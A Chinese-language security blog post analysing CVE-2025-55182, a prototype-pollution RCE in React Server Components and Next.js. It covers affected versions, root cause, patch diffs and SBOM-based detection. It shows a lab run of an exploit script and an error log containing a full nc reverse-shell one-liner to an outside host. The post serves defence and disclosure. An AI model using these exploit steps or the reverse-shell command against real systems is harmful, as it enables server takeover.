深入解析CVE-2025-55182:React Server Components RCE 漏洞利用深度剖析与 SBOM 驱动识别

目录

2025 年 12 月 3 日,React Server Components 中一个预认证远程代码执行(RCE)漏洞被披露,跟踪编号为 CVE-2025-55182。该漏洞影响以下 React 组件:

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

受影响版本:​

  • 19.0.0
  • 19.1.0
  • 19.1.1
  • 19.2.0

注意:​ 它们属于上游 react 代码仓库。

该漏洞源于对从 HTTP 请求到 Server Function Endpoints 的用户提交数据进行的不安全反序列化。PR 35277 包含了该漏洞的修复。nextjs 由于依赖 React Server Components 而受到影响。该 nextjs 漏洞跟踪编号为 CVE-2025-66478issue 86790

使用 App Router 的 React Server Components 的 Next.js 应用程序会受到此漏洞影响。Next.js 15.x、Next.js 16.x、14.3.0-canary.77 及更高版本的 Canary 版本均受影响。

受影响版本:​

  • >= 15.0.0, <= 15.0.4
  • >= 15.1.0, <= 15.1.8
  • >= 15.2.0, <= 15.2.5
  • >= 15.3.0, <= 15.3.5
  • >= 15.4.0, <= 15.4.7
  • >= 15.5.0, <= 15.5.6
  • >= 16.0.0, <= 16.0.6

已修复版本:​

  • 15.0.5
  • 15.1.9
  • 15.2.6
  • 15.3.6
  • 15.4.8
  • 15.5.7
  • 16.0.7

该漏洞被认为是严重级别的,因为 React Server Components 的多个默认配置都存在漏洞。使用 npx create-next-app 创建的 Next.js 应用程序会受到默认影响。应立即采取补救措施,升级到已修复版本的 Next.js 和 React。

技术分析

注意:​ 以下分析是在 react 代码仓库的 v19.2.0 上进行的。使用 git checkout --detach v19.2.0 检出该标签。

React Server Components 利用 Flight Protocol 与客户端组件进行交互。该协议负责处理服务器和客户端之间数据的序列化、反序列化和流式传输。服务器组件使用模块解析系统,根据请求查找并执行服务器端代码。该漏洞源于 requireModule 函数直接根据用户提交的数据访问对象属性而未进行验证,从而导致原型污染漏洞。

查看以下来自 packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js 的代码片段,这是其中一个存在漏洞的代码路径,已在 #35277 中修复,我们可以看到漏洞存在的证据。

javascript
export function requireModule<T>(metadata: ClientReference<T>): T { let moduleExports = __webpack_require__(metadata[ID]); return moduleExports[metadata[NAME]]; }

metadata[NAME] 被设置为 __proto__ 或对象的其他内部属性,并且使用 moduleExports 键访问 metadata[NAME] 时,就会触发该漏洞。通常,这意味着攻击者需要从 moduleExports 中找到可引用的有用 JavaScript gadgets 才能利用该漏洞。

漏洞利用

可以使用存在漏洞的 Next.js 应用程序(使用 React Server Components)演示真实世界的漏洞利用。

启动容器化环境以实现隔离:

bash
docker run -it -p 3000:3000 --rm -v $(pwd):/app node:24 bash

生成一个存在漏洞的 Next.js 应用程序:

bash
cd /app &&npx [email protected] cve-2025-66478-app

启动应用程序服务器:

bash
cd /app/cve-2025-66478-app && npm run dev

在另一个终端中,启动用于运行 漏洞利用代码 的容器化环境:

bash
docker run -it --net=host --rm -v $(pwd):/app python:3.13 bash

安装依赖项:

bash
pip install requests

针对存在漏洞的应用程序运行漏洞利用代码:

bash
cd /app && python3 CVE-2025-55182.py http://127.0.0.1:3000 --check

这会产生以下输出,表明服务器存在漏洞:

plaintext
============================================================ CVE-2025-55182 - React Server Components RCE ============================================================ [*] Checking if http://127.0.0.1:3000 is vulnerable... [*] Verifying target is reachable... [+] Target reachable (status 200) [*] Sending detection payload... [+] Target appears VULNERABLE! (server hung on payload)

运行漏洞利用代码以在服务器上执行任意代码:

bash
cd /app && python3 CVE-2025-55182.py http://127.0.0.1:3000 -c "touch /tmp/h4x"

这成功地在服务器上创建了文件 /tmp/h4x。此外,由于我们在最小化容器中运行存在漏洞的应用程序,而该容器没有 nc,因此尝试使用反向 shell 有效负载会失败并产生以下错误:

plaintext
rm: cannot remove '/tmp/f': No such file or directory /bin/sh: 1: nc: not found ⨯ Error: Command failed: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.64.1 9999 >/tmp/f rm: cannot remove '/tmp/f': No such file or directory /bin/sh: 1: nc: not found at ignore-listed frames { status: 127, signal: null, output: [Array], pid: 277, stdout: <Buffer >, stderr: <Buffer 72 6d 3a 20 74 ... 30 more bytes>, digest: '2777937684' }

补丁分析

查看 补丁 #35277,我们可以看到 packages/react-server/src/ReactFlightReplyServer.js 中的以下变更,该补丁专门通过使用 __proto__ 作为键名来添加针对原型污染尝试的防护。

diff
@@ -427,7 +574,7 @@ function reviveModel( value[key], childRef, ); - if (newValue !== undefined) { + if (newValue !== undefined || key === '__proto__') { // $FlowFixMe[cannot-write] value[key] = newValue; } else { @@ -441,24 +588,42 @@ function reviveModel( return value; }

该补丁还通过引入使用 hasOwnProperty 的检查来修复存在漏洞的代码,以确保 metadata[NAME] 引用的是 moduleExports 对象的有效属性,而不是从原型继承的属性。

diff
--- a/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js +++ b/packages/react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js @@ -19,6 +19,8 @@ import { } from '../shared/ReactFlightImportMetadata'; import {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig'; +import hasOwnProperty from 'shared/hasOwnProperty'; + export type ServerManifest = { [string]: Array<string>, }; @@ -78,7 +80,10 @@ export function preloadModule<T>( export function requireModule<T>(metadata: ClientReference<T>): T { const moduleExports = parcelRequire(metadata[ID]); - return moduleExports[metadata[NAME]]; + if (hasOwnProperty.call(moduleExports, metadata[NAME])) { + return moduleExports[metadata[NAME]]; + } + return (undefined: any); }

漏洞响应

需要响应此漏洞的安全团队将大大受益于为他们的应用程序维护软件物料清单(SBOM)。SBOM 是机器可读的标准化格式,用于维护各种软件组件、其元数据和依赖项的清单。SBOM 只有作为实践而非临时活动被采用时才有价值。例如,SBOM 可用于:

  • 识别存在漏洞的应用程序
  • 识别存在漏洞的 Next.js 和 React Server Components 版本
  • 识别漏洞被引入和修复的代码位置

CISA 的 SBOM 共享愿景 提供了关于 SBOM 如何帮助漏洞管理的简明指导。安全团队至少应建立以下能力:

  • 为所有符合最低要素的应用程序生成 SBOM
  • 在软件开发生命周期中保持 SBOM 的更新
  • 能够查询 SBOM 以发现漏洞和合规性问题

有多种免费的开源工具可用于 SBOM 生成,例如 trivysyftcdxgenvet 等。

使用 SafeDep 进行 SBOM 生成和查询

SafeDep 可以帮助作为软件开发生命周期的一部分持续生成和维护 SBOM。提供以下选项:

  • 使用 SafeDep 免费开源工具进行自助 SBOM 生成和查询
  • 使用 SafeDep Cloud(SaaS)进行持续 SBOM 生成和查询

SafeDep 开源工具

SafeDep vet 可用于从源代码生成 SBOM,将其导出为可查询格式,并查询其漏洞和合规性。在此特定案例中,我们将演示如何使用 vet 扫描 GitHub 组织,以识别存在 CVE-2025-55182CVE-2025-66478 漏洞的代码仓库。

确保您的系统中已安装 vet。有关安装帮助,请参阅 vet 安装指南

可选:​ 生成并设置一个只读的 GitHub 个人访问令牌,以为 vet 提供更大的速率限制来扫描 GitHub 代码仓库。示例:export GITHUB_TOKEN=your-token-here

运行 vet 以扫描您的 GitHub 组织并生成报告为 sqlite3 数据库。

bash
vet scan --github-org https://github.com/your-github-org --report-sqlite3 /tmp/gh-org-vet.db

注意:​ 扫描将需要一些时间来完成,具体取决于组织中代码仓库的数量。

运行以下查询以识别存在 CVE-2025-55182CVE-2025-66478 漏洞的代码仓库。

sql
SELECT p.name, m.namespace as repository, p.version, p.is_direct, m.display_path as manifest FROM report_packages p JOIN report_package_manifest_packages mp ON p.id = mp.report_package_id JOIN report_package_manifests m ON mp.report_package_manifest_id = m.id WHERE p.ecosystem = 'npm' AND p.name IN ('next', 'react') AND p.version IN ('19.0.0', '19.1.0', '19.1.1', '19.2.0', '15.0.4', \`16.0.6\`) ORDER BY p.name, m.namespace, p.version;

注意:​ 并非所有存在漏洞的版本都包含在查询中。

示例输出:

plaintext
react|https://github.com/your-github-org/your-repository1.git|19.2.0|1|package.json react|https://github.com/your-github-org/your-repository2.git|19.2.0|1|pnpm-lock.yaml react|https://github.com/your-github-org/your-repository3.git|19.2.0|1|package.json

vet 还支持 Agent Mode,可用于使用自然语言查询 SBOM 数据库。更多详情请参阅 vet Agent 文档。要使用它,请运行以下命令:

设置其中一个支持的 LLM 服务 API 密钥:

bash
export GEMINI_API_KEY=your-gemini-api-key

以 agent 模式启动 vet(查询代理):

bash
vet agent query --db /tmp/gh-org-vet.db --fast

注意:​ --fast 标志为查询代理设置一个快速模型,如 gemini-2.5-flash。省略它以使用推理模型,如 gemini-2.5-pro

SafeDep Cloud

以下指南仅适用于已连接 GitHub App 或已与其版本控制系统建立支持的集成之一的 SafeDep Cloud 用户。以下是您可以使用 SQL 查询来查找存在漏洞的代码仓库的方法。

  1. 登录 SafeDep Cloud
  2. 导航到 Query 选项卡
  3. 执行以下 SQL 查询:
sql
SELECT projects.name, projects.version, packages.name, packages.version FROM projects WHERE packages.name = 'react' and packages.version = '19.2.0'

注意:​ SafeDep Cloud SQL 模式是去规范化的,以便于查询。它与 vet sqlite3 数据库模式不兼容。

参考资料

SafeDep 博客最新动态

关注以获取关于开源安全与工程的最新更新和见解